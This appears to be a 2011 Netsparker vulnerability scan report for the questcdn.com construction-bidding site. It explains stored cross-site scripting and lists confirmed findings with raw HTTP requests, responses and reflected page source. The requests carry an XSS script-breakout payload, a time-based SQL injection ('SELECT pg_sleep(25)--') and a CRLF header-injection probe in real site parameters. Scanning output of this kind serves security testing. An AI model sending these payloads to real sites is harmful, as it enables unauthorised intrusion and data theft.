setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<!--Override some of the settings for the tooltips--> <style type="text/css"> body div#toolTip { background:white;border:1px double black; } body div#toolTip p { color:black; } </style> <script type="text/javascript" language="JavaScript1.2">var gridServerUrl = '/questcdn/action/myProjectConnector';var gridCategories = null;var categories = new Array();function doInitDoc(){ gridCategories = new QcdnGridCategories('/questcdn', 'mygrid_container', gridServerUrl, 'user_no=&member_no=&allMember='); gridCategories.setDataProcessorUrl(gridServerUrl); gridCategories.setShowRecordCount(false); gridCategories.addCategory(1,'<b>' + 'Not Yet Bid' + '</b>','Bid Date is in the Future'); gridCategories.addCategory(2,'<b>' + 'Results Pending' + '</b>','Bid Date is in the Past and the results HAVE NOT been posted'); gridCategories.addCategory(3,'<b>' + 'Results Posted' + '</b>','Bid Date is in the Past and the results HAVE been posted'); gridCategories.expandAll(true); gridCategories.load(categoryGridCreated);}function categoryGridCreated(grid, gridHelper){ grid.setHeader(' ,Name,City,County,State,Bid Date,Solicitor,Owner,eBidDoc Available,Addendum Count,Q & A Posted,User,Status,JobNo,UserNo'); gridHelper.setColumnIds('INMYPROJ,NAME,CITY,COUNTY,STATE,BID_DATE,SOLICITOR,OWNER,DOCS_AVAIL,ADDENDA,QA_AVAIL,UNAME,STATUS,JOB_NO,USER_NO'); gridHelper.disableTooltipsByName(null); gridHelper.useSweetTitles(); grid.setInitWidths('30,200,100,80,28,130,140,150,90,90,80,80,0,0,0'); gridHelper.hideColumns('STATUS,JOB_NO,USER_NO'); //All columns that you want to access by grid.cellById, etc. must be reference here in setColTypes gridHelper.setColTypes('ch,link,ro,ro,ro,datetime'); grid.setColSorting('int,ciSort,ciSort,ciSort,ciSort,dtSort,ciSort,ciSort,ciSort,int,ciSort,ciSort,ciSort,int,int'); gridHelper.setSecondarySortColumn(gridHelper.NAME); grid.setSkin('qa');}function expandAll(doOpen){ gridCategories.expandAll(doOpen);}function previewJob(jobNo, rowId){ var url; url = '/questcdn/projects/prj_browse/project_browse.html?projbrowse=true&jobNo=' + jobNo + '&rowId=' + rowId; //url = '/questcdn/action/showProjPreviewPage?tooltip=true&preview=true&JobPK=' + jobNo; var w = window.open(url,'projectBrowse','height=800,width=600,resizable=yes,scrollbars=yes'); w.focus();}function showJob(jobNo, rowId){// document.userdata.ProjectNo.value = '' + jobNo;// document.userdata.submit(); previewJob(jobNo, rowId);}function NextProject(jobNo, rowId){ var obj = gridCategories.nextProject(rowId); rowId = obj.rowId; jobNo = obj.jobNo; if (rowId != null) previewJob(jobNo, rowId);}function PreviousProject(jobNo, rowId){ var obj = gridCategories.previousProject(rowId); rowId = obj.rowId; jobNo = obj.jobNo; if (rowId != null) previewJob(jobNo, rowId);}function showProjects(){ location.href='/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects' + '&allMember=true' ;}//function deleteSelected()//{// var i, grid, gr..
Permanent Cross-site Scripting
Permanent Cross-site Scripting
Netsparker confirmed this vulnerability by analyzing the execution of injected JavaScript.
Permanent XSS (Cross-site Scripting) allows an attacker to execute dynamic scripts (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly and to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/Javascript/VbScript within the browser.
Permanent means that the attack will be stored in the back-end system. In normal XSS attacks an attack needs to e-mail the victim but in a permanent XSS an attacker can just execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.
XSS targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' session the attacker might attack an administrator to gain full control over the application.
Impact
Permanent XSS is a dangerous issue that has many exploitation vectors, some of which includes:
- User session sensitive information such as cookies can be stolen.
- XSS can enable client-side worms which could modify, delete or steal other users' data within the application.
- The website can be redirected to a new location, defaced or used as a phishing site.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
Remedy References
External References
- /questcdn/
/questcdn/
CONFIRMED
|
http://www.questcdn.com/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0001EF)%3C/script%3E¤t_sub_tab=myprojects
Injection Request
GET /questcdn/setTab/projects/MyProjects/my_projects.html?current_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0001EF)%3C/script%3E¤t_sub_tab=myprojects HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Identification Request
GET /questcdn/?jobPK=3&loginPagePath=index.html&nextPage=3&password=%0D%0Ans:netsparker056650=vuln&root_page=true HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Injection Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:36:56 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:36:56 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 28994
Content-Type: text/html;charset=utf-8
Identification Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:36:56 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:36:56 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29936
Content-Type: text/html;charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = ''"--></style></script><script>netsparker(0x0001EF)</script>';
var sCurrentSubTab = 'myprojects';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:['"--></style></script><script>netsparker(0x0001EF)</script>] sCurrentSubTab:[myprojects]');
setCurrentTab(null, ''"--></style></script><script>netsparker(0x0001EF)</script>');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value="3"/> <input type="hidden" name="jobPK" value="3"/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle wi..
- /questcdn/industry/ind_browse/ind_browse_f.html
/questcdn/industry/ind_browse/ind_browse_f.html
CONFIRMED
|
http://www.questcdn.com/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000201)%3C/script%3E
Injection Request
GET /questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000201)%3C/script%3E HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Identification Request
GET /questcdn/industry/ind_browse/ind_browse_f.html?jobPK=1))%3BSELECT%20pg_sleep(25)--&loginPagePath=index.html&nextPage=3&password=3&root_page=true HTTP/1.1
Referer: http://www.questcdn.com/questcdn/industry/ind_browse/ind_browse_f.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Injection Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:53 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:53 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29451
Content-Type: text/html;charset=utf-8
Identification Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:53 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:53 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 30417
Content-Type: text/html;charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = 'projects';
var sCurrentSubTab = ''"--></style></script><script>netsparker(0x000201)</script>';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[projects] sCurrentSubTab:['"--></style></script><script>netsparker(0x000201)</script>]');
setCurrentTab(null, 'projects');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value="3"/> <input type="hidden" name="jobPK" value="1));SELECT pg_sleep(25)--"/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="projectsMenuClick(this);" id="find" title="Find Projects"><span>Find</span></a></li> <li><a href="#" onclick="projectsMenuClick(this);" id="myprojects" title="My Projects"><span>My Projects</span></a></li> <li><a href="#" onclick="projectsMenuClick(this);" id="results" title="View Results"><span>Results</span></a></li> </ul> </div> </td> </tr> </table><scrip..
- /questcdn/account/acc_mod/acc_mod.html
/questcdn/account/acc_mod/acc_mod.html
CONFIRMED
|
